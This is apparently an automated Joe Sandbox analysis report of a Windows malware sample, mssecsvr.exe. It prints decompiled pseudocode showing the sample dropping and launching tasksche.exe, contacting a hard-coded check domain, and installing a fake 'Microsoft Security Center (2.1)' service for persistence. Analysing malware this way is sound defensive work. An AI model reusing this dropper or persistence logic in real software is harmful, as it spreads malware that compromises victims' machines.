Analysis Process: svchost.exePID: 7940, Parent PID: 604

General

Target ID:	14
Start time:	19:30:36
Start date:	20/07/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Imagebase:	0x7ff7e8070000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 6368, Parent PID: 604

General

Target ID:	15
Start time:	19:30:48
Start date:	20/07/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff7e8070000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 11492, Parent PID: 604

General

Target ID:	22
Start time:	19:31:33
Start date:	20/07/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff7e8070000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 11816, Parent PID: 604

General

Target ID:	23
Start time:	19:31:36
Start date:	20/07/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e8070000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 7560, Parent PID: 604

General

Target ID:	24
Start time:	19:31:42
Start date:	20/07/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff7e8070000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 13728, Parent PID: 604

General

Target ID:	25
Start time:	19:32:08
Start date:	20/07/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff7e8070000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 16344, Parent PID: 604

General

Target ID:	27
Start time:	19:32:31
Start date:	20/07/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff7e8070000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: mssecsvr.exePID: 3564, Parent PID: 6392COMMON

Execution Graph

Execution Coverage:	65.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	63.2%
Total number of Nodes:	38
Total number of Limit Nodes:	8

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00407CE0 Relevance: 50.9, APIs: 18, Strings: 11, Instructions: 175
libraryloaderfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00407CE0() {
				void _v259;
				char _v260;
				void _v519;
				char _v520;
				struct _STARTUPINFOA _v588;
				struct _PROCESS_INFORMATION _v604;
				long _v608;
				_Unknown_base(*)()* _t36;
				void* _t38;
				void* _t39;
				void* _t50;
				struct HINSTANCE__* _t104;
				struct HRSRC__* _t105;
				void* _t107;
				void* _t108;
				long _t109;
				intOrPtr _t121;
				intOrPtr _t122;

				_t104 = GetModuleHandleW(L"kernel32.dll");
				if(_t104 != 0) {
					 *0x431478 = GetProcAddress(_t104, "CreateProcessA");
					 *0x431458 = GetProcAddress(_t104, "CreateFileA");
					 *0x431460 = GetProcAddress(_t104, "WriteFile");
					_t36 = GetProcAddress(_t104, "CloseHandle");
					 *0x43144c = _t36;
					if( *0x431478 != 0) {
						_t121 =  *0x431458; // 0x7705f7b0
						if(_t121 != 0) {
							_t122 =  *0x431460; // 0x7705fc30
							if(_t122 != 0 && _t36 != 0) {
								_t105 = FindResourceA(0, 0x727, "R");
								if(_t105 != 0) {
									_t38 = LoadResource(0, _t105);
									if(_t38 != 0) {
										_t39 = LockResource(_t38);
										_v608 = _t39;
										if(_t39 != 0) {
											_t109 = SizeofResource(0, _t105);
											if(_t109 != 0) {
												_v520 = 0;
												memset( &_v519, 0, 0x40 << 2);
												asm("stosw");
												asm("stosb");
												_v260 = 0;
												memset( &_v259, 0, 0x40 << 2);
												asm("stosw");
												asm("stosb");
												sprintf( &_v520, "C:\\%s\\%s", "WINDOWS", "tasksche.exe");
												sprintf( &_v260, "C:\\%s\\qeriuwjhrf", "WINDOWS");
												MoveFileExA( &_v520,  &_v260, 1); // executed
												_t50 = CreateFileA( &_v520, 0x40000000, 0, 0, 2, 4, 0); // executed
												_t107 = _t50;
												if(_t107 != 0xffffffff) {
													WriteFile(_t107, _v608, _t109,  &_v608, 0);
													CloseHandle(_t107);
													_v604.hThread = 0;
													_v604.dwProcessId = 0;
													_v604.dwThreadId = 0;
													memset( &(_v588.lpReserved), 0, 0x10 << 2);
													asm("repne scasb");
													_v604.hProcess = 0;
													_t108 = " /i";
													asm("repne scasb");
													memcpy( &_v520 - 1, _t108, 0 << 2);
													memcpy(_t108 + 0x175b75a, _t108, 0);
													_v588.cb = 0x44;
													_v588.wShowWindow = 0;
													_v588.dwFlags = 0x81;
													if(CreateProcessA(0,  &_v520, 0, 0, 0, 0x8000000, 0, 0,  &_v588,  &_v604) != 0) {
														CloseHandle(_v604.hThread);
														CloseHandle(_v604);
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
				return 0;
			}

0x00407cf5
0x00407cfb
0x00407d15
0x00407d22
0x00407d2f
0x00407d34
0x00407d3c
0x00407d43
0x00407d49
0x00407d4f
0x00407d55
0x00407d5b
0x00407d7a
0x00407d7e
0x00407d86
0x00407d8e
0x00407d95
0x00407d9d
0x00407da1
0x00407daf
0x00407db3
0x00407dc4
0x00407dc8
0x00407dca
0x00407dcc
0x00407ddb
0x00407de2
0x00407def
0x00407df1
0x00407e01
0x00407e18
0x00407e2c
0x00407e43
0x00407e49
0x00407e4e
0x00407e61
0x00407e68
0x00407e72
0x00407e7a
0x00407e82
0x00407e8b
0x00407e95
0x00407e9b
0x00407e9f
0x00407ea8
0x00407eb0
0x00407ebc
0x00407ed3
0x00407edb
0x00407ee0
0x00407ef0
0x00407ef7
0x00407f02
0x00407f02
0x00407ef0
0x00407e4e
0x00407db3
0x00407da1
0x00407d8e
0x00407d7e
0x00407d5b
0x00407d4f
0x00407d43
0x00407f14

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,00000000,6F75FB10,?,00000000), ref: 00407CEF
GetProcAddress.KERNEL32(00000000,CreateProcessA), ref: 00407D0D
GetProcAddress.KERNEL32(00000000,CreateFileA), ref: 00407D1A
GetProcAddress.KERNEL32(00000000,WriteFile), ref: 00407D27
GetProcAddress.KERNEL32(00000000,CloseHandle), ref: 00407D34
FindResourceA.KERNEL32(00000000,00000727,0043137C), ref: 00407D74
LoadResource.KERNEL32(00000000,00000000,?,00000000), ref: 00407D86
LockResource.KERNEL32(00000000,?,00000000), ref: 00407D95
SizeofResource.KERNEL32(00000000,00000000,?,00000000), ref: 00407DA9
sprintf.MSVCRT ref: 00407E01
sprintf.MSVCRT ref: 00407E18
MoveFileExA.KERNEL32 ref: 00407E2C
CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000004,00000000), ref: 00407E43
WriteFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00407E61
CloseHandle.KERNEL32(00000000), ref: 00407E68
CreateProcessA.KERNEL32 ref: 00407EE8
CloseHandle.KERNEL32(00000000), ref: 00407EF7
CloseHandle.KERNEL32(08000000), ref: 00407F02

Strings

C:\%s\qeriuwjhrf, xrefs: 00407E12
tasksche.exe, xrefs: 00407DEA
WriteFile, xrefs: 00407D1C
/i, xrefs: 00407E8D
CreateFileA, xrefs: 00407D0F
WINDOWS, xrefs: 00407DF2, 00407E0D
kernel32.dll, xrefs: 00407CEA
CreateProcessA, xrefs: 00407D07
C:\%s\%s, xrefs: 00407DFB
D, xrefs: 00407ED3
CloseHandle, xrefs: 00407D29

Memory Dump Source

Source File: 00000004.00000002.386559489.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.386554824.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.386625612.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.386632001.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.386641077.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.386671485.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.386724722.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.387021960.00000000008FD000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: AddressHandleProcResource$CloseFile$Createsprintf$FindLoadLockModuleMoveProcessSizeofWrite
String ID: /i$C:\%s\%s$C:\%s\qeriuwjhrf$CloseHandle$CreateFileA$CreateProcessA$D$WINDOWS$WriteFile$kernel32.dll$tasksche.exe
API String ID: 4281112323-1507730452
Opcode ID: fb819ea0bbfac7cba45177718834bfaea6ecb5a57a4692884010a03d6946efb9
Instruction ID: 13a48b3e7e70fc1f7524b3ea2ca00aec236584d0bbebcf852995d03268f4a9c8
Opcode Fuzzy Hash: fb819ea0bbfac7cba45177718834bfaea6ecb5a57a4692884010a03d6946efb9
Instruction Fuzzy Hash: B15197715043496FE7109F74DC84AAB7B98EB88354F14493EF651A32E0DA7898088BAA

Uniqueness

Uniqueness Score: -1.00%

Function 00409A16 Relevance: 16.6, APIs: 11, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			_entry_(void* __ebx, void* __edi, void* __esi) {
				CHAR* _v8;
				intOrPtr* _v24;
				intOrPtr _v28;
				struct _STARTUPINFOA _v96;
				int _v100;
				char** _v104;
				int _v108;
				void _v112;
				char** _v116;
				intOrPtr* _v120;
				intOrPtr _v124;
				void* _t27;
				intOrPtr _t36;
				signed int _t38;
				int _t40;
				intOrPtr* _t41;
				intOrPtr _t42;
				intOrPtr _t49;
				intOrPtr* _t55;
				intOrPtr _t58;
				intOrPtr _t61;

				_push(0xffffffff);
				_push(0x40a1a0);
				_push(0x409ba2);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t58;
				_v28 = _t58 - 0x68;
				_v8 = 0;
				__set_app_type(2);
				 *0x70f894 =  *0x70f894 | 0xffffffff;
				 *0x70f898 =  *0x70f898 | 0xffffffff;
				 *(__p__fmode()) =  *0x70f88c;
				 *(__p__commode()) =  *0x70f888;
				 *0x70f890 = _adjust_fdiv;
				_t27 = E00409BA1( *_adjust_fdiv);
				_t61 =  *0x431410; // 0x1
				if(_t61 == 0) {
					__setusermatherr(E00409B9E);
				}
				E00409B8C(_t27);
				_push(0x40b010);
				_push(0x40b00c);
				L00409B86();
				_v112 =  *0x70f884;
				__getmainargs( &_v100,  &_v116,  &_v104,  *0x70f880,  &_v112);
				_push(0x40b008);
				_push(0x40b000); // executed
				L00409B86(); // executed
				_t55 =  *_acmdln;
				_v120 = _t55;
				if( *_t55 != 0x22) {
					while( *_t55 > 0x20) {
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				} else {
					do {
						_t55 = _t55 + 1;
						_v120 = _t55;
						_t42 =  *_t55;
					} while (_t42 != 0 && _t42 != 0x22);
					if( *_t55 == 0x22) {
						L6:
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				}
				_t36 =  *_t55;
				if(_t36 != 0 && _t36 <= 0x20) {
					goto L6;
				}
				_v96.dwFlags = 0;
				GetStartupInfoA( &_v96);
				if((_v96.dwFlags & 0x00000001) == 0) {
					_t38 = 0xa;
				} else {
					_t38 = _v96.wShowWindow & 0x0000ffff;
				}
				_push(_t38);
				_push(_t55);
				_push(0);
				_push(GetModuleHandleA(0));
				_t40 = E00408140();
				_v108 = _t40;
				exit(_t40); // executed
				_t41 = _v24;
				_t49 =  *((intOrPtr*)( *_t41));
				_v124 = _t49;
				_push(_t41);
				_push(_t49);
				L00409B80();
				return _t41;
			}

0x00409a19
0x00409a1b
0x00409a20
0x00409a2b
0x00409a2c
0x00409a39
0x00409a3e
0x00409a43
0x00409a4a
0x00409a51
0x00409a64
0x00409a72
0x00409a7b
0x00409a80
0x00409a85
0x00409a8b
0x00409a92
0x00409a98
0x00409a99
0x00409a9e
0x00409aa3
0x00409aa8
0x00409ab2
0x00409acb
0x00409ad1
0x00409ad6
0x00409adb
0x00409ae8
0x00409aea
0x00409af0
0x00409b2c
0x00409b31
0x00409b32
0x00409b32
0x00409af2
0x00409af2
0x00409af2
0x00409af3
0x00409af6
0x00409af8
0x00409b03
0x00409b05
0x00409b05
0x00409b06
0x00409b06
0x00409b03
0x00409b09
0x00409b0d
0x00000000
0x00000000
0x00409b13
0x00409b1a
0x00409b24
0x00409b39
0x00409b26
0x00409b26
0x00409b26
0x00409b3a
0x00409b3b
0x00409b3c
0x00409b44
0x00409b45
0x00409b4a
0x00409b4e
0x00409b54
0x00409b59
0x00409b5b
0x00409b5e
0x00409b5f
0x00409b60
0x00409b67

APIs

__set_app_type.MSVCRT ref: 00409A43
__p__fmode.MSVCRT ref: 00409A58
__p__commode.MSVCRT ref: 00409A66
__setusermatherr.MSVCRT ref: 00409A92
_initterm.MSVCRT ref: 00409AA8
__getmainargs.MSVCRT ref: 00409ACB
_initterm.MSVCRT ref: 00409ADB
GetStartupInfoA.KERNEL32(?), ref: 00409B1A
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00409B3E
exit.KERNELBASE ref: 00409B4E
_XcptFilter.MSVCRT ref: 00409B60

Memory Dump Source

Source File: 00000004.00000002.386559489.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.386554824.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.386625612.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.386632001.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.386641077.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.386671485.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.386724722.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.387021960.00000000008FD000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID:
API String ID: 801014965-0
Opcode ID: 372b72291a79fe7f323a7fd117d835006d69336e2c0488ca977e4fa79056e622
Instruction ID: f220c78e044b43db95b39954543cb8470338bddc8e57b6bf74c51ec52977e19a
Opcode Fuzzy Hash: 372b72291a79fe7f323a7fd117d835006d69336e2c0488ca977e4fa79056e622
Instruction Fuzzy Hash: AF415E71800348EFDB24DFA4ED45AAA7BB8FB09720F20413BE451A72D2D7786841CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00408140 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E00408140() {
				char* _v1;
				char* _v3;
				char* _v7;
				char* _v11;
				char* _v15;
				char* _v19;
				char* _v23;
				void _v80;
				char _v100;
				char* _t12;
				void* _t13;
				void* _t27;

				_t12 = memcpy( &_v80, "http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com", 0xe << 2);
				asm("movsb");
				_v23 = _t12;
				_v19 = _t12;
				_v15 = _t12;
				_v11 = _t12;
				_v7 = _t12;
				_v3 = _t12;
				_v1 = _t12;
				_t13 = InternetOpenA(_t12, 1, _t12, _t12, _t12); // executed
				_t27 = _t13;
				InternetOpenUrlA(_t27,  &_v100, 0, 0, 0x84000000, 0); // executed
				_push(_t27);
				InternetCloseHandle();
				InternetCloseHandle(0);
				E00408090();
				return 0;
			}

0x00408155
0x00408157
0x00408158
0x0040815c
0x00408160
0x00408164
0x00408168
0x0040816c
0x00408177
0x0040817b
0x0040818e
0x00408194
0x0040819c
0x004081a7
0x004081ab
0x004081ad
0x004081b9

APIs

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040817B
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,84000000,00000000), ref: 00408194
InternetCloseHandle.WININET(00000000), ref: 004081A7
InternetCloseHandle.WININET(00000000), ref: 004081AB

Part of subcall function 00408090: GetModuleFileNameA.KERNEL32(00000000,0070F760,00000104,?,004081B2), ref: 0040809F
Part of subcall function 00408090: __p___argc.MSVCRT ref: 004080A5

Strings

http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com, xrefs: 0040814A

Memory Dump Source

Source File: 00000004.00000002.386559489.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.386554824.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.386625612.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.386632001.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.386641077.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.386671485.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.386724722.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.387021960.00000000008FD000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileModuleName__p___argc
String ID: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com
API String ID: 774561529-2614457033
Opcode ID: 0bbc0dabe610ff42f1f9ad6e85cc21407dd9b1b68127969cd029bea3a518856a
Instruction ID: 3b8a91e0baa4f3639afdb349cfc438007093f0a6557163af6b5eb03d237fc32a
Opcode Fuzzy Hash: 0bbc0dabe610ff42f1f9ad6e85cc21407dd9b1b68127969cd029bea3a518856a
Instruction Fuzzy Hash: B3018671548310AEE310DF748D01B6B7BE9EF85710F01082EF984F72C0EAB59804876B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00407C40 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00407C40() {
				char _v260;
				void* _t15;
				void* _t17;

				sprintf( &_v260, "%s -m security", 0x70f760);
				_t15 = OpenSCManagerA(0, 0, 0xf003f);
				if(_t15 == 0) {
					return 0;
				} else {
					_t17 = CreateServiceA(_t15, "mssecsvc2.1", "Microsoft Security Center (2.1) Service", 0xf01ff, 0x10, 2, 1,  &_v260, 0, 0, 0, 0, 0);
					if(_t17 != 0) {
						StartServiceA(_t17, 0, 0);
						CloseServiceHandle(_t17);
					}
					CloseServiceHandle(_t15);
					return 0;
				}
			}

0x00407c56
0x00407c6e
0x00407c72
0x00407cd3
0x00407c74
0x00407ca7
0x00407cab
0x00407cb2
0x00407cb9
0x00407cb9
0x00407cbc
0x00407cc9
0x00407cc9

APIs

sprintf.MSVCRT ref: 00407C56
OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 00407C68
CreateServiceA.ADVAPI32(00000000,mssecsvc2.1,Microsoft Security Center (2.1) Service,000F01FF,00000010,00000002,00000001,?,00000000,00000000,00000000,00000000,00000000,6F75FB10,00000000), ref: 00407C9B
StartServiceA.ADVAPI32(00000000,00000000,00000000), ref: 00407CB2
CloseServiceHandle.ADVAPI32(00000000), ref: 00407CB9
CloseServiceHandle.ADVAPI32(00000000), ref: 00407CBC

Strings

Microsoft Security Center (2.1) Service, xrefs: 00407C90
%s -m security, xrefs: 00407C50
mssecsvc2.1, xrefs: 00407C95

Memory Dump Source

Source File: 00000004.00000002.386559489.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.386554824.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.386625612.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.386632001.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.386641077.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.386671485.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.386724722.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.387021960.00000000008FD000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$CreateManagerOpenStartsprintf
String ID: %s -m security$Microsoft Security Center (2.1) Service$mssecsvc2.1
API String ID: 3340711343-2450984573
Opcode ID: c3592d809756ac94f014d34e1e4fa0c14de5620095203194e3f9233ad68c92ee
Instruction ID: 2288e5cc66680fabefb91112cf05624c6df81315eb9d87428618c258e2ee617f
Opcode Fuzzy Hash: c3592d809756ac94f014d34e1e4fa0c14de5620095203194e3f9233ad68c92ee
Instruction Fuzzy Hash: AD01D1717C43043BF2305B149D8BFEB3658AB84F01F500025FB44B92D0DAF9A81491AF

Uniqueness

Uniqueness Score: -1.00%

Function 00408090 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 49
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00408090() {
				char* _v4;
				char* _v8;
				intOrPtr _v12;
				struct _SERVICE_TABLE_ENTRY _v16;
				long _t6;
				void* _t19;
				void* _t22;

				_t6 = GetModuleFileNameA(0, 0x70f760, 0x104);
				__imp____p___argc();
				_t26 =  *_t6 - 2;
				if( *_t6 >= 2) {
					_t19 = OpenSCManagerA(0, 0, 0xf003f);
					__eflags = _t19;
					if(_t19 != 0) {
						_t22 = OpenServiceA(_t19, "mssecsvc2.1", 0xf01ff);
						__eflags = _t22;
						if(_t22 != 0) {
							E00407FA0(_t22, 0x3c);
							CloseServiceHandle(_t22);
						}
						CloseServiceHandle(_t19);
					}
					_v16 = "mssecsvc2.1";
					_v12 = 0x408000;
					_v8 = 0;
					_v4 = 0;
					return StartServiceCtrlDispatcherA( &_v16);
				} else {
					return E00407F20(_t26);
				}
			}

0x0040809f
0x004080a5
0x004080ab
0x004080ae
0x004080c9
0x004080cb
0x004080cd
0x004080e8
0x004080ea
0x004080ec
0x004080f1
0x004080fa
0x004080fa
0x004080fd
0x00408100
0x00408105
0x0040810e
0x00408116
0x0040811e
0x00408130
0x004080b0
0x004080b8
0x004080b8

APIs

GetModuleFileNameA.KERNEL32(00000000,0070F760,00000104,?,004081B2), ref: 0040809F
__p___argc.MSVCRT ref: 004080A5
OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,00000000,?,004081B2), ref: 004080C3
OpenServiceA.ADVAPI32(00000000,mssecsvc2.1,000F01FF,6F75FB10,00000000,?,004081B2), ref: 004080DC
CloseServiceHandle.ADVAPI32(00000000,?,?,?,004081B2), ref: 004080FA
CloseServiceHandle.ADVAPI32(00000000,?,004081B2), ref: 004080FD
StartServiceCtrlDispatcherA.ADVAPI32(?,?,?), ref: 00408126

Strings

mssecsvc2.1, xrefs: 004080D6, 00408105

Memory Dump Source

Source File: 00000004.00000002.386559489.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.386554824.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.386625612.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.386632001.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.386641077.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.386671485.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.386724722.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.387021960.00000000008FD000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpen$CtrlDispatcherFileManagerModuleNameStart__p___argc
String ID: mssecsvc2.1
API String ID: 4274534310-2839763450
Opcode ID: 14f2d0f9cf239aa653f070f930b60ae04978eb0b591616557438e437b3700a6a
Instruction ID: 0eddf8d8cc97b5ba853ece0b0f9ce4fe0dc31dc3004373c78c05f92e851b2f94
Opcode Fuzzy Hash: 14f2d0f9cf239aa653f070f930b60ae04978eb0b591616557438e437b3700a6a
Instruction Fuzzy Hash: 4A014775640315BBE3117F149E4AF6F3AA4EF80B19F404429F544762D2DFB888188AAF

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: mssecsvr.exePID: 6236, Parent PID: 604COMMON

Execution Graph

Execution Coverage:	36.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	36
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00408090 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 49
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00408090() {
				char* _v4;
				char* _v8;
				intOrPtr _v12;
				struct _SERVICE_TABLE_ENTRY _v16;
				long _t6;
				int _t9;
				void* _t19;
				void* _t22;

				_t6 = GetModuleFileNameA(0, 0x70f760, 0x104);
				__imp____p___argc();
				_t26 =  *_t6 - 2;
				if( *_t6 >= 2) {
					_t19 = OpenSCManagerA(0, 0, 0xf003f);
					__eflags = _t19;
					if(_t19 != 0) {
						_t22 = OpenServiceA(_t19, "mssecsvc2.1", 0xf01ff);
						__eflags = _t22;
						if(_t22 != 0) {
							E00407FA0(_t22, 0x3c);
							CloseServiceHandle(_t22);
						}
						CloseServiceHandle(_t19);
					}
					_v16 = "mssecsvc2.1";
					_v12 = 0x408000;
					_v8 = 0;
					_v4 = 0;
					_t9 = StartServiceCtrlDispatcherA( &_v16); // executed
					return _t9;
				} else {
					return E00407F20(_t26);
				}
			}

APIs

GetModuleFileNameA.KERNEL32(00000000,0070F760,00000104,?,004081B2), ref: 0040809F
__p___argc.MSVCRT ref: 004080A5
OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,00000000,?,004081B2), ref: 004080C3
OpenServiceA.ADVAPI32(00000000,mssecsvc2.1,000F01FF,6F75FB10,00000000,?,004081B2), ref: 004080DC
CloseServiceHandle.ADVAPI32(00000000,?,?,?,004081B2), ref: 004080FA
CloseServiceHandle.ADVAPI32(00000000,?,004081B2), ref: 004080FD
StartServiceCtrlDispatcherA.ADVAPI32(?,?,?), ref: 00408126

Strings

mssecsvc2.1, xrefs: 004080D6, 00408105

Memory Dump Source

Source File: 00000007.00000002.977892459.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.977871504.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.977932978.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.977946043.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.977968468.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.978124182.000000000042E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.978137838.000000000042F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.978163682.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.978251003.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_mssecsvr.jbxd

Yara matches

Similarity

